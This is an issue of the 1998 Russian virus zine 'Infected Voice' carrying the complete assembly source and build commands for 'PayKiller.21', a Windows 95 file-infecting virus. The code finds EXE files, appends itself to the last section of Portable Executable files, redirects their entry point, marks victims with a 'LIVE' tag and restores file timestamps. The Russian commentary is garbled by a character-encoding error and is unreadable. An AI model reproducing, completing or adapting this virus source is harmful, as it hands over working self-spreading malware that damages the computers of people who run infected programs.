   INFECTED VOICE       ISSUE 98'06      (C)1994-98, by STEALTH group
 online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
                                        mailto:noxyucT@usa.net
-----------------------------------------------------------------------
 PayKiller.21. Win95 virus (C)1998, by Mad Rocker/SG
-----------------------------------------------------------------------

;
;                             Mad   Rocker
;                               presents
;              ******************************************
;              *    P A Y K I L L E R - 2 1- " EVIL "   *
;              ******************************************
;
;  "DOS 㬥p ! WINDOWS 95 - ᠬ⥫쭠 32- pp來 p樮
;⥬.ᯮ WIN 32 API,  ⮫쪮  !" -  p p
;p᪨   "樠 p㪮⢠"  WINDOWS 95.饥
;設⢮ ⥬ pp稪 ( p, Microsoft) ᠬ쭮
;⢥p, 뢠 㭪樨 DOS  BIOS, ⠪ p  p
;p⠬  WIN 32 pp p᪨ .p, protection.
;      p᭮ p." p p梥 孮-
;p p訫"- p ⥫ 稢 ᯮ ⨢p᭨.
; ,  p᪨  p諮 p-   ᤥ
;ᨫ WINDOWS KERNEL.p  ᫥ pᮢ 
;WINDOWS 95 ,  㦠ᮬ p㦨,   ᯮ " 
; ⮤ 맮 API".p,p p   
;p ᯥ客 (pp,Jacky  Mad).p㣨   p 㯮
;뢠 API  䨪p pᠬ (p p WIN95-p Boza),
;  p  "p" ᯮᮡ 㯠  䠩
;(宩 p 稫 p Harry), ᮦ,-p p㤭
;p㥬.   p  祭 p⮩ ᯮᮡ 㯠 
;䠩-p p p DOS.  p ᯮ PAYKILLER-21.
;筮,p  DOS p INT 21h WIN 32 p  ,
;⮬    p諮  p㤨 , p  稫 
; 㭪 DOS.  .p "p ⥬ ppp 
;WINDOWS 95" ᠭ 㬥p 㭪 VXDCALL,  p
; 뢠 DOS  DPMI.᫨  ⥭ p ⮩ 㭪樨,
;⠫쭮 㦥  孨...  ⥯p   ᠬ p : p,
;p騩 Portable Executable-䠩  ⥪饬 ⠫ ; p p
; pp⨪ ᫥ ꥪ ; 뢠   䠩;
;p権  p権  ᮤp.p TASM 5.0 (p㣮 
;p): tasm32 /ml pkill_21, tlink32 /Tpe /aa pkill_21,pkill_21,,
;import32.lib
;
;                                             10  p 1998 
;                                                 Mad  Rocker
;
              .386
              locals
              jumps
              .model flat,stdcall
L  equ     <LARGE>
extrn      MessageBoxA:proc            ;pp  import32.lib
extrn      ExitProcess:proc
              .data                    ;ᥣ  (ᮤp  p)
vir_name   db 'PAYKILLER-21',0
vir_text   db 'Animal launching : press OK when ready... ',0
;
main_body:
           pushad                      ;p  pp 饣 .
           push ds                     ;     ᥣ pp
           push es
           push fs
           push gs
           call start                  ;p塞 ⥪騩 EIP
start:
           pop  ebp
           sub  ebp,offset start       ;⠪ 稭 ᪨ DOS-p
           mov  eax,[RVA_sub+ebp]      ;EAX=p RVA_Entrypoint
           mov  [ret_addr+ebp],eax     ; 쭥襬   
           xor  eax,eax
           mov  esi,0bff70000h+3ch     ; ᨤ 㪠⥫  PE-
           lodsw                       ;p㧨   AX
           add  eax,0bff70000h         ;p  p
           xchg esi,eax
           lodsd                       ;⠥ ᨣp
           cmp  eax,00004550h          ;ᨣp 'P','E',0,0 ?
           jne  quit                   ;...KERNEL32.DLL  
           mov  eax,[esi+74h]          ;ESI+74h 㪠뢠  EXPORT TABLE RVA
           add  eax,0bff70000h+1ch
           xchg esi,eax                ;ESI 㪠뢠  ADDRESS TABLE RVA
           lodsd
           add  eax,0bff70000h
           xchg esi,eax
           lodsd                       ;砥 p VXDCALL
           add  eax,0bff70000h
           mov  [VxD_addr+ebp],eax
           mov  eax,00002f00h          ;稬 p DTA
           call DOS_kernel
           mov  [DTA_offset+ebp],ebx   ; p   直 砩
           mov  [DTA_select+ebp],es
           mov  eax,00001a00h          ;⠭ ᢮ DTA
           lea  edx,[my_DTA+ebp]
           call DOS_kernel
           mov  eax,00004e00h          ;祭 宦  DOS'᪨ FINDFIRST
           mov  ecx,0000003fh
           lea  edx,[victim+ebp]
           call DOS_kernel
           jnc  open_file              ;᫨ - 諨, 
find_next:
           mov  eax,00004f00h          ; 饬 䠩
           call DOS_kernel
           jc   unhappy
open_file:
           mov  eax,00003d02h          ;p뢠 䠩  ⥭-
           lea  edx,[my_DTA+1eh+ebp]   ;p  䠩
           call DOS_kernel
           jc   find_next
           xchg ebx,eax                ;p塞 pp 䠩  EBX
           mov  eax,00003f00h          ;⠥ p 60h 
           mov  ecx,00000060h
           lea  edx,[EXE_header+ebp]
           call DOS_kernel
           mov  eax,00004200h          ;⠭ 㪠⥫  PE-
           xor  ecx,ecx                ;(᫨  ,筮)
           xor  edx,edx
           mov  dx, word ptr [EXE_header+3ch+ebp]
           mov  [PE_pointer+ebp],dx
           call DOS_kernel
           mov  eax,00003f00h          ;p⠥ 60h  PE-
           mov  ecx,00000060h
           lea  edx,[EXE_header+ebp]
           call DOS_kernel
           cmp  dword ptr [EXE_header+ebp],00004550h
           jne  file_error             ;  Portable Executable 䠩...
           cmp  dword ptr [EXE_header+10h+ebp],'LIVE'
           je   file_error             ;䠩 㦥 ""-祣  p !
           mov  ax,word ptr [EXE_header+6+ebp]     ;AX=⢮ ꥪ⮢
           dec  ax
           mov  cx,40
           mul  cx
           add  ax,18h
           add  ax,word ptr [EXE_header+14h+ebp]   ;+NT_Header_size
           add  ax,[PE_pointer+ebp]
           mov  [obj_point+ebp],ax     ;㪠⥫  ᫥ ꥪ
           xor  ecx,ecx
           xor  edx,edx
           mov  dx,ax
           mov  eax,00004200h
           call DOS_kernel
           mov  eax,00003f00h          ;p⠥ ᫥ ꥪ
           mov  ecx,40
           lea  edx,[WIN_object+ebp]
           call DOS_kernel
           mov  eax,dword ptr [EXE_header+28h+ebp] ;EAX=RVA_Entrypoint
           add  eax,dword ptr [EXE_header+34h+ebp] ;+Image_base
           mov  dword ptr [RVA_sub+ebp],eax        ;p  祭
           xor  edx,edx
           mov  eax,dword ptr [WIN_object+0ch+ebp] ;EAX=RVA ꥪ
           add  eax,dword ptr [WIN_object+8+ebp]   ;+ virtual size ꥪ
           mov  dword ptr [EXE_header+28h+ebp],eax ; RVA_Entrypoint
           xor  edx,edx
           mov  eax,vir_size                       ;EAX=pp p  
           mov  ecx,dword ptr [EXE_header+3ch+ebp] ;ECX=file alignment factor
           div  ecx
           inc  eax
           mul  ecx
           add  eax,dword ptr [WIN_object+8+ebp]   ;+ virtual size ꥪ
           mov  dword ptr [WIN_object+10h+ebp],eax ; Object_physical_size
           xor  edx,edx
           mov  eax,vir_size                       ;EAX=pp p  
           mov  ecx,dword ptr [EXE_header+38h+ebp] ;ECX=object align factor
           div  ecx
           inc  eax
           mul  ecx
           add  eax,dword ptr [WIN_object+8+ebp]   ;+ virtual size ꥪ
           mov  dword ptr [WIN_object+8+ebp],eax   ; Object_virtual_size
           mov  dword ptr [WIN_object+24h+ebp],0e0000040h
           mov  eax,dword ptr [WIN_object+8+ebp]
           add  eax,dword ptr [WIN_object+0ch+ebp]
           mov  dword ptr [EXE_header+50h+ebp],eax ; Image_size
           mov  dword ptr [EXE_header+10h+ebp],'LIVE'
           mov  eax,00004202h          ;⠭ 㪠⥫   䠩
           xor  ecx,ecx
           xor  edx,edx
           call DOS_kernel
           mov  eax,00005700h          ;砥 p   ᮧ 䠩
           call DOS_kernel
           push ecx
           push edx
           mov  eax,00004000h          ;襬  p  䠩
           mov  ecx,vir_size
           lea  edx,[main_body+ebp]
           call DOS_kernel
           mov  eax,00004200h          ; 㪠⥫  ᫥ ꥪ
           xor  ecx,ecx
           xor  edx,edx
           mov  dx,word ptr [obj_point+ebp]
           call DOS_kernel
           mov  eax,00004000h          ;襬 p ꥪ
           mov  ecx,40
           lea  edx,[WIN_object+ebp]
           call DOS_kernel
           mov  eax,00004200h          ;⠭ 㪠⥫  PE-
           xor  ecx,ecx
           xor  edx,edx
           mov  dx,word ptr [PE_pointer+ebp]
           call DOS_kernel
           mov  eax,00004000h          ;襬 p PE-
           mov  ecx,60h
           lea  edx,[EXE_header+ebp]
           call DOS_kernel
           pop  edx
           pop  ecx
           mov  eax,00005701h          ;⠭   p ᮧ
           call DOS_kernel
           mov  eax,00003e00h          ; p뢠 䠩
           call DOS_kernel
unhappy:
           mov  si,ds
           lea  edi,[VxD_out+ebp]
           mov  edx,[DTA_offset+ebp]
           mov  ax, [DTA_select+ebp]
           mov  ds,ax
           mov  eax,00001a00h          ;⠭ DTA ( 祬- )
           call direct
           mov  ds,si
quit:
           cmp  dword ptr [inst+ebp],'LIVE'
           pop  gs
           pop  fs
           pop  es
           pop  ds
           popad
           jne  exit_program
           jmp  go_home               ;᫨  p 
exit_program:
           db   68h                   ;  ⥪ p p
ret_addr   dd   0
           ret                        ;p p pp-⥫
;
file_error:
           mov  eax,00003e00h
           call DOS_kernel
           jmp  find_next
;
DOS_kernel:                            ; INT 21h  DOS-pp
           lea  edi,[VxD_out+ebp]
direct:
           push ecx
           push eax
           push 002a0010h              ;䨪p VWIN32  㭪樥 10h
           push edi
           db   68h                    ;p䨪  PUSH
VxD_addr   dd   0                      ;p VXDCALL
           ret                         ;뢠 VWIN32 INT_21H_Dispatcher
VxD_out:
           ret                         ; VWIN32 p p
;
DTA_offset dd   0
DTA_select dw   0
my_DTA     db   43  dup (0)            ; Disk Transfer Area
victim     db   '*.exe',0              ;᪠  ᪠ 䠩
EXE_header db   60h dup (0)
WIN_object db   40  dup (0)
PE_pointer dw   0
obj_point  dw   0
RVA_sub    dd   0
vir_size   equ $-main_body             ; p  
inst       db   'EVIL'                 ;p p
              .code                    ;ᥣ  (㦥  ᪠)
begin:
           push L 0
           push offset vir_name        ; MessageBox'
           push offset vir_text        ;ᮡ⢥ ᮮ饭
           push L 0
           call MessageBoxA            ;뢮 pp騩 MessageBox
           jmp  main_body
go_home:
           push L 0
           call ExitProcess            ;室  pp (p)
              end begin
